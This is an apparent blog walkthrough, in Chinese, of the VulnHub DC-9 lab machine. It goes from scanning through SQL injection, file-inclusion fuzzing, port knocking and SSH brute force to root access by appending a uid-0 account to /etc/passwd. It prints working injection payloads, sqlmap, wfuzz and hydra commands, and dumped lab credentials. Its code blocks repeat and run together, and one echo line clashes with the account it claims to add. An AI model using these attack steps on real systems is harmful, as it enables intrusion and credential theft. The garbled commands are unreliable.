环境准备
靶机环境搭建
攻击渗透机: kali IP地址:192.168.60.128
靶机:DC-9 IP地址未知
靶机下载地址:https://www.vulnhub.com/entry/dc-9,412/
信息搜集
扫描主机IP,或者直接 arp-scan -l
nmap -sP 192.168.60.1/24nmap -sP 192.168.60.1/24nmap -sP 192.168.60.1/24
可以得到,192.168.60.137
就是我们要攻击的靶机
![图片[1]-kali渗透综合靶机–DC-9靶机-安全小天地](https://img.godyu.com/2023/12/20231226130533287.png?imageView2/0/format/webp/q/75)
接着扫描端口
nmap -p 1-65535 -T4 -A 192.168.60.137nmap -p 1-65535 -T4 -A 192.168.60.137nmap -p 1-65535 -T4 -A 192.168.60.137
可以看见发现了22、80端口,注:这里22端口 是一个有故事的端口
![图片[2]-kali渗透综合靶机–DC-9靶机-安全小天地](https://img.godyu.com/2023/12/20231226210534467.png?imageView2/0/format/webp/q/75)
22端口过滤,80端口开放,同样的从80端口入手。
不是现成的cms,然后浏览一下发现search的地方有sql注入
查当前数据库select database(); Staff查库-1\' union select 1,2,3,4,5,concat(schema_name)from information_schema.schemata#information_schemaStaffusers查表-1\' union select 1,2,3,4,5,concat(table_name)from information_schema.tables where table_schema=\'Staff\'#UsersStaffDetails查Staff列名-1\' union select 1,2,3,4,5,concat(column_name)from information_schema.columns where table_name=\'StaffDetails\'#id firstname lastname position phone email reg_date查users列名-1\' union select 1,2,3,4,5,concat(column_name)from information_schema.columns where table_name=\'Users\'#UserID Username Password获取Users字段-1\' union select 1,2,3,4,5,concat_ws(\'~\',Username,Password) from Users#admin~856f5de590ef37314e7c3bdf6f8a66dc查users表名-1\' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=\'users\'#UserDetails查UserDetails列名-1\' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name=\'UserDetails\'#id,firstname,lastname,username,password,reg_date查UserDetails字段-1\' union select 1,2,3,4,5,group_concat(concat_ws(\'~\',username,password)) from users.UserDetails#marym~3kfs86sfd,julied~468sfdfsd2,fredf~4sfd87sfd1,barneyr~RocksOff,tomc~TC&TheBoyz,jerrym~B8m#48sd,wilmaf~Pebbles,bettyr~BamBam01,chandlerb~UrAG0D!,joeyt~Passw0rd,rachelg~yN72#dsd,rossg~ILoveRachel,monicag~3248dsds7s,phoebeb~smellycats,scoots~YR3BVxxxw87,janitor~Ilovepeepee,janitor2~Hawaii-Five-0查当前数据库 select database(); Staff 查库 -1\' union select 1,2,3,4,5,concat(schema_name)from information_schema.schemata# information_schema Staff users 查表 -1\' union select 1,2,3,4,5,concat(table_name)from information_schema.tables where table_schema=\'Staff\'# Users StaffDetails 查Staff列名 -1\' union select 1,2,3,4,5,concat(column_name)from information_schema.columns where table_name=\'StaffDetails\'# id firstname lastname position phone email reg_date 查users列名 -1\' union select 1,2,3,4,5,concat(column_name)from information_schema.columns where table_name=\'Users\'# UserID Username Password 获取Users字段 -1\' union select 1,2,3,4,5,concat_ws(\'~\',Username,Password) from Users# admin~856f5de590ef37314e7c3bdf6f8a66dc 查users表名 -1\' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=\'users\'# UserDetails 查UserDetails列名 -1\' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name=\'UserDetails\'# id,firstname,lastname,username,password,reg_date 查UserDetails字段 -1\' union select 1,2,3,4,5,group_concat(concat_ws(\'~\',username,password)) from users.UserDetails# marym~3kfs86sfd,julied~468sfdfsd2,fredf~4sfd87sfd1,barneyr~RocksOff,tomc~TC&TheBoyz,jerrym~B8m#48sd,wilmaf~Pebbles,bettyr~BamBam01,chandlerb~UrAG0D!,joeyt~Passw0rd,rachelg~yN72#dsd,rossg~ILoveRachel,monicag~3248dsds7s,phoebeb~smellycats,scoots~YR3BVxxxw87,janitor~Ilovepeepee,janitor2~Hawaii-Five-0查当前数据库 select database(); Staff 查库 -1\' union select 1,2,3,4,5,concat(schema_name)from information_schema.schemata# information_schema Staff users 查表 -1\' union select 1,2,3,4,5,concat(table_name)from information_schema.tables where table_schema=\'Staff\'# Users StaffDetails 查Staff列名 -1\' union select 1,2,3,4,5,concat(column_name)from information_schema.columns where table_name=\'StaffDetails\'# id firstname lastname position phone email reg_date 查users列名 -1\' union select 1,2,3,4,5,concat(column_name)from information_schema.columns where table_name=\'Users\'# UserID Username Password 获取Users字段 -1\' union select 1,2,3,4,5,concat_ws(\'~\',Username,Password) from Users# admin~856f5de590ef37314e7c3bdf6f8a66dc 查users表名 -1\' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=\'users\'# UserDetails 查UserDetails列名 -1\' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name=\'UserDetails\'# id,firstname,lastname,username,password,reg_date 查UserDetails字段 -1\' union select 1,2,3,4,5,group_concat(concat_ws(\'~\',username,password)) from users.UserDetails# marym~3kfs86sfd,julied~468sfdfsd2,fredf~4sfd87sfd1,barneyr~RocksOff,tomc~TC&TheBoyz,jerrym~B8m#48sd,wilmaf~Pebbles,bettyr~BamBam01,chandlerb~UrAG0D!,joeyt~Passw0rd,rachelg~yN72#dsd,rossg~ILoveRachel,monicag~3248dsds7s,phoebeb~smellycats,scoots~YR3BVxxxw87,janitor~Ilovepeepee,janitor2~Hawaii-Five-0
解密一下这个md5,https://www.somd5.com/解出来是transorbital1,登陆一下。
当然,可以使用sqlmap工具扫描,这里就直接放命令了
sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" --dbssqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D users --tablessqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D Staff -T Users -dumpsqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D users -T UserDetails --dumpsqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D Staff --tablessqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D Staff -T Users -dumpsqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" --dbs sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D users --tables sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D Staff -T Users -dump sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D users -T UserDetails --dump sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D Staff --tables sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D Staff -T Users -dumpsqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" --dbs sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D users --tables sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D Staff -T Users -dump sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D users -T UserDetails --dump sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D Staff --tables sqlmap -u \"http://192.168.60.137/results.php\" --data \"search=1\" -D Staff -T Users -dump
最终获得的就是一堆账号密码和管理员账号密码
username | password |
marym julied fredf barneyr tomc jerrym wilmaf bettyr chandlerb joeyt rachelg rossg monicag phoebeb scoots janitor janitor2 |
3kfs86sfd 468sfdfsd2 4sfd87sfd1 RocksOff TC&TheBoyz B8m#48sd Pebbles BamBam01 UrAG0D! Passw0rd yN72#dsd ILoveRachel 3248dsds7s smellycats YR3BVxxxw87 Ilovepeepee Hawaii-Five-0 |
![图片[3]-kali渗透综合靶机–DC-9靶机-安全小天地](https://img.godyu.com/2023/12/20231226210535482.png?imageView2/0/format/webp/q/75)
登录成功,发现下面有一个 File does not exist
大概率文件包含漏洞,那fuzz跑一下
因为是登录之后才出来的,我们跑的时间加上cookie
wfuzz -b \'PHPSESSID=4q0rq65i7i012ln7j1o241koqb\' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100 http://192.168.60.137/manage.php?FUZZ=../../../../etc/passwdwfuzz -b \'PHPSESSID=4q0rq65i7i012ln7j1o241koqb\' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100 http://192.168.60.137/manage.php?FUZZ=../../../../etc/passwdwfuzz -b \'PHPSESSID=4q0rq65i7i012ln7j1o241koqb\' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100 http://192.168.60.137/manage.php?FUZZ=../../../../etc/passwd
可以得到参数为file
,当然也可以直接显示文件
![图片[4]-kali渗透综合靶机–DC-9靶机-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/03/image-254-1024x377.png)
emmmm,这里不能直接用绝对路径,只能用相对路径。很多文件读不了,估计是没权限。
卡这里了,还有一个22端口,试试前面那一堆账号密码
getFlag
可以看到,敲门后22端口就开放了。那就上hydra爆破一下。
hydra -L user.txt -P pass.txt 192.168.60.137 sshhydra -L user.txt -P pass.txt 192.168.60.137 sshhydra -L user.txt -P pass.txt 192.168.60.137 ssh
![图片[5]-kali渗透综合靶机–DC-9靶机-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/03/image-256-1024x139.png)
这里还是用了一个ssh 端口隐藏技术:linux knockd端口隐藏
看了介绍,我们使用刚刚的那个文件包含漏洞,可以看到敲门命令为:7469,8475,9842
![图片[6]-kali渗透综合靶机–DC-9靶机-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/03/image-255-1024x164.png)
我们直接用nmap,挨个访问就行,顺序不能错哦
nmap -p 7469 192.168.60.137nmap -p 8475 192.168.60.137nmap -p 9842 192.168.60.137nmap -p 7469 192.168.60.137 nmap -p 8475 192.168.60.137 nmap -p 9842 192.168.60.137nmap -p 7469 192.168.60.137 nmap -p 8475 192.168.60.137 nmap -p 9842 192.168.60.137
接着我们就能发现爆破成功了
![图片[7]-kali渗透综合靶机–DC-9靶机-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/03/image-257-1024x205.png)
接下来我们挨个ssh链接这些账户,并依次访问ls -a
、sudo -i
、history
命令
ssh xxx@ip #ssh链接命令ssh xxx@ip #ssh链接命令ssh xxx@ip #ssh链接命令
janitor用户目录下有隐藏目录.secrets-for-putin里面有隐藏的密码文件
![图片[8]-kali渗透综合靶机–DC-9靶机-安全小天地](https://img.godyu.com/2023/12/20231226210536537.png?imageView2/0/format/webp/q/75)
![图片[9]-kali渗透综合靶机–DC-9靶机-安全小天地](https://img.godyu.com/2023/12/20231226210537691.png?imageView2/0/format/webp/q/75)
做成pwd.txt 继续爆破hydra -L user.txt -P pass.txt 192.168.60.137 ssh
![图片[10]-kali渗透综合靶机–DC-9靶机-安全小天地](https://img.godyu.com/2023/12/20231226210538110.png?imageView2/0/format/webp/q/75)
用这个用户登陆上去。到这个地步差不多就该提权了。
看看sudo权限。sudo -l
![图片[11]-kali渗透综合靶机–DC-9靶机-安全小天地](https://img.godyu.com/2023/12/20231226210539273.png?imageView2/0/format/webp/q/75)
然后在上两级目录看到了test.py,看看他的内容。
find / -name \"test.py\" 2>/dev/null #z寻找文件,并且将错误数据重定向到/dev/nullcat /opt/devstuff/test.pyfind / -name \"test.py\" 2>/dev/null #z寻找文件,并且将错误数据重定向到/dev/null cat /opt/devstuff/test.pyfind / -name \"test.py\" 2>/dev/null #z寻找文件,并且将错误数据重定向到/dev/null cat /opt/devstuff/test.py
![图片[12]-kali渗透综合靶机–DC-9靶机-安全小天地](https://img.godyu.com/2023/12/20231226210539779.png?imageView2/0/format/webp/q/75)
就是读入一个文件,并将其追加到新的文件里面
按照这个逻辑,我们可以直接新建一个root权限账户,然后切换用户不就ok了
写passwd文件
首先了解linux 命令采用5种加密方式和手动生成shadow密码的方法
①.该列留空,即\"::\",表示该用户没有密码。②.该列为\"!\",即\":!:\",表示该用户被锁,被锁将无法登陆,但是可能其他的登录方式是不受限制的,如ssh公钥认证的方式,su的方式。③.该列为\"*\",即\":*:\",也表示该用户被锁,和\"!\"效果是一样的。④.该列以\"!\"或\"!!\"开头,则也表示该用户被锁。⑤.该列为\"!!\",即\":!!:\",表示该用户从来没设置过密码。⑥.如果格式为\"$id$salt$hashed\",则表示该用户密码正常。其中$id$的id表示密码的加密算法,$1$表示使用MD5算法,$2a$表示使用Blowfish算法,\"$2y$\"是另一算法长度的Blowfish,\"$5$\"表示SHA-256算法,而\"$6$\"表示SHA-512算法,①.该列留空,即\"::\",表示该用户没有密码。 ②.该列为\"!\",即\":!:\",表示该用户被锁,被锁将无法登陆,但是可能其他的登录方式是不受限制的,如ssh公钥认证的方式,su的方式。 ③.该列为\"*\",即\":*:\",也表示该用户被锁,和\"!\"效果是一样的。 ④.该列以\"!\"或\"!!\"开头,则也表示该用户被锁。 ⑤.该列为\"!!\",即\":!!:\",表示该用户从来没设置过密码。 ⑥.如果格式为\"$id$salt$hashed\",则表示该用户密码正常。其中$id$的id表示密码的加密算法,$1$表示使用MD5算法,$2a$表示使用Blowfish算法,\"$2y$\"是另一算法长度的Blowfish,\"$5$\"表示SHA-256算法,而\"$6$\"表示SHA-512算法,①.该列留空,即\"::\",表示该用户没有密码。 ②.该列为\"!\",即\":!:\",表示该用户被锁,被锁将无法登陆,但是可能其他的登录方式是不受限制的,如ssh公钥认证的方式,su的方式。 ③.该列为\"*\",即\":*:\",也表示该用户被锁,和\"!\"效果是一样的。 ④.该列以\"!\"或\"!!\"开头,则也表示该用户被锁。 ⑤.该列为\"!!\",即\":!!:\",表示该用户从来没设置过密码。 ⑥.如果格式为\"$id$salt$hashed\",则表示该用户密码正常。其中$id$的id表示密码的加密算法,$1$表示使用MD5算法,$2a$表示使用Blowfish算法,\"$2y$\"是另一算法长度的Blowfish,\"$5$\"表示SHA-256算法,而\"$6$\"表示SHA-512算法,
我们使用下面这条
生成命令linux密码方法
openssl passwd -1 -salt anquanclub anquanclubopenssl passwd -1 -salt anquanclub anquanclubopenssl passwd -1 -salt anquanclub anquanclub
anquanclub:$1$anquancl$YGl7FtOlV9Bim6dZcW4xK1:0:0::/root:/bin/bashanquanclub:$1$anquancl$YGl7FtOlV9Bim6dZcW4xK1:0:0::/root:/bin/bashanquanclub:$1$anquancl$YGl7FtOlV9Bim6dZcW4xK1:0:0::/root:/bin/bash
追加命令:
echo \'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash\' > /tmp/passwdsudo ./test /tmp/passwd /etc/passwdsu anquanclubPassword: anquanclubecho \'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash\' > /tmp/passwd sudo ./test /tmp/passwd /etc/passwd su anquanclub Password: anquanclubecho \'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash\' > /tmp/passwd sudo ./test /tmp/passwd /etc/passwd su anquanclub Password: anquanclub
![图片[13]-kali渗透综合靶机–DC-9靶机-安全小天地](https://img.godyu.com/2023/12/20231226210540222.png?imageView2/0/format/webp/q/75)
成功获取权限,拿到flag
![图片[14]-kali渗透综合靶机–DC-9靶机-安全小天地](https://img.godyu.com/2023/12/20231226210541299.png?imageView2/0/format/webp/q/75)
暂无评论内容